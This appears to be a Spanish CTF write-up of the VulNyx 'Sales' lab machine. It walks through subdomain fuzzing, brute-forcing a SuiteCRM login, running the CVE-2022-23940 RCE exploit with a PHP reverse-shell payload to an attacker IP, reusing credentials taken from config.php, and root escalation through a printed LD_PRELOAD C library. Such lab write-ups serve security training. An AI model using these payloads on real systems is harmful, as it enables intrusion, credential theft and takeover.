VulNyx - Sales

logo

  • Information Disclosure via Web Interface (User Enumeration)
  • Subdomain Enumeration via DNS Fuzzing
  • SuiteCRM Login Brute-Force (Valid Credentials Found)
  • Authenticated RCE via SuiteCRM – CVE-2022-23940
  • Reverse Shell via PHP Payload Execution
  • Credential Disclosure via config.php (Database Password)
  • User Pivoting via Password Reuse (www-data → eve)
  • Privilege Escalation via LD_PRELOAD on sudo-ping

Escaneo de puertos

❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.21

PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 64
80/tcp open  http    syn-ack ttl 64

Escaneo de servicios

❯ nmap -sVC -p 22,80 172.0.100.21

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 9.2p1 Debian 2+deb12u6 (protocol 2.0)
| ssh-hostkey: 
|   256 dd:2c:11:05:8e:0a:ea:0b:df:52:60:ed:bf:b4:c2:92 (ECDSA)
|_  256 9d:5a:c5:8d:db:27:66:ca:35:30:05:1f:ad:25:40:3f (ED25519)
80/tcp open  http    Apache httpd 2.4.62
|_http-title: Did not follow redirect to http://sales.nyx/
|_http-server-header: Apache/2.4.62 (Debian)

HTTP TCP - 80

Se detecta un servidor web accesible desde el puerto 80.

http

Para facilitar el acceso por nombre de dominio, se añade una entrada al archivo /etc/hosts.

 echo "172.0.100.21 sales.nyx" | sudo tee -a /etc/hosts

Una vez configurado, se accede a http://sales.nyx y se identifica un posible nombre de usuario expuesto en la interfaz web: yuna.yoon.

sales

🌐 Enumeración de Subdominios (Virtual Host Fuzzing)

Dado que no se encuentra funcionalidad sensible en el dominio principal, se realiza fuzzing de subdominios utilizando ffuf con un encabezado personalizado Host.

 ffuf -t 100 -c -fw 20 \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt \
-H "Host: FUZZ.sales.nyx" \
-u http://sales.nyx

Resultados relevantes:

www                     [Status: 200]
crm                     [Status: 301]

Se añade el nuevo subdominio al archivo /etc/hosts:

 echo "172.0.100.21 crm.sales.nyx" | sudo tee -a /etc/hosts

🔐 Acceso al Panel de Login – crm.sales.nyx

Al visitar http://crm.sales.nyx, se encuentra un panel de autenticación, lo que sugiere la posibilidad de realizar ataques por fuerza bruta sobre el login.

crm

🧰 Generación de Wordlist Personalizada

Se utiliza cewl para generar un diccionario personalizado a partir del contenido del sitio principal:

cewl  http://sales.nyx -w passwords.txt

🔓 Fuerza Bruta de Credenciales

Se lanza un ataque de fuerza bruta con ffuf, apuntando al formulario de login de crm.sales.nyx utilizando el usuario previamente identificado yuna.yoon:

 ffuf -r -fs 11571 \
-w passwords.txt:FUZZ \
-u "http://crm.sales.nyx/index.php" \
-d "module=Users&action=Authenticate&return_module=Users&return_action=Login&cant_login=&login_module=&login_action=&login_record=&login_token=&login_oauth_token=&login_mobile=&user_name=yuna.yoon&username_password=FUZZ&Login=Log+In" \
-H "Content-Type: application/x-www-form-urlencoded"

Credenciales válidas encontradas:

Usuario: yuna.yoon  
Contraseña: ***********

⚙️ Acceso a SuiteCRM

Tras autenticarse exitosamente con las credenciales válidas, el sistema redirige al asistente de configuración de SuiteCRM.

welcome

Se completan los pasos requeridos por el asistente hasta finalizar la instalación del entorno.

finish

📋 Panel principal

Al finalizar la configuración, se obtiene acceso al dashboard principal del CRM.

dashboard

A través de la opción “About”, se identifica la versión exacta del CMS instalado.

about

🔍 Enumeración de versión y búsqueda de vulnerabilidades

Desde la sección “About”, se identifica la versión de SuiteCRM en uso. Con esta información, se realiza una búsqueda de vulnerabilidades conocidas:

  • CVE-2022-23940 – Autenticado RCE en SuiteCRM

searchExploit

Se descarga el repositorio que contiene el exploit:

git clone https://github.com/manuelz120/CVE-2022-23940.git

💥 Ejecución del Exploit – RCE Autenticado

Se lanza el exploit autenticado utilizando las credenciales previamente obtenidas, especificando un payload de reverse shell en PHP:

python3 exploit.py -h http://crm.sales.nyx -u yuna.yoon -p *********** --payload "php -r '\$sock=fsockopen(\"172.0.100.25\", 4444); exec(\"/bin/sh -i <&3 >&3 2>&3\");'"

Se establece exitosamente una reverse shell .

www-data-shell

🧪 Post-Explotación – Shell Estable e Interacción Mejorada

Una vez establecida la reverse shell, se realiza el tratamiento de TTY para mejorar la experiencia de uso interactivo dentro del sistema remoto:

script /dev/null -c bash
CTRL+Z
stty raw -echo; fg
reset
xterm
export TERM=xterm-256color 
export SHELL=bash
source /etc/skel/.bashrc
stty rows 48 cols 200

🔍 Enumeración de Usuarios en el Sistema

Se identifica al usuario eve como un posible objetivo para escalada lateral.

www-data@template:/var/www/suitecrm$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
eve:x:1001:1001::/home/eve:/bin/bash

🔍 Revisión de Credenciales en Archivos del Sistema

Se inspecciona el archivo config.php de la instalación de SuiteCRM, el cual se encuentra en /var/www/suitecrm. Este archivo contiene la configuración de conexión a base de datos, incluyendo contraseñas sensibles:

grepPassword

🔁 Escalada Lateral – Pivoting a Usuario eve

Se intenta cambiar al usuario eve utilizando la contraseña obtenida previamente desde el archivo config.php:

www-data@template:/var/www/suitecrm$ su eve
Password: 
eve@template:/var/www/suitecrm$ id
uid=1001(eve) gid=1001(eve) groups=1001(eve)

Enumeración de Privilegios – sudo

El binario ping puede ser ejecutado como root sin contraseña, lo cual representa una potencial vía de escalada de privilegios, especialmente al estar en combinación con la variable de entorno LD_PRELOAD permitida.

eve@template:~$ sudo -l
Matching Defaults entries for eve on template:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, env_keep+=LD_PRELOAD

User eve may run the following commands on template:
    (root) NOPASSWD: /bin/ping

🚀 Escalada a Root mediante LD_PRELOAD

Se verifica en HackTricks que LD_PRELOAD puede utilizarse para cargar una biblioteca compartida maliciosa al ejecutar binarios como root. Se crea un payload en C para ganar acceso privilegiado:

Código del exploit:

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>

void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0);
    setuid(0);
    system("/bin/bash");
}

Compilación del payload:

cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles

Ejecución con escalada de privilegios:

sudo LD_PRELOAD=./pe.so /bin/ping

Acceso Root

El payload se ejecuta correctamente, y se obtiene una shell con privilegios de root, completando así la escalada de privilegios total en la máquina:

root

Y así concluye el viaje en la máquina Sales.

Que el destino te guíe.

Saludos.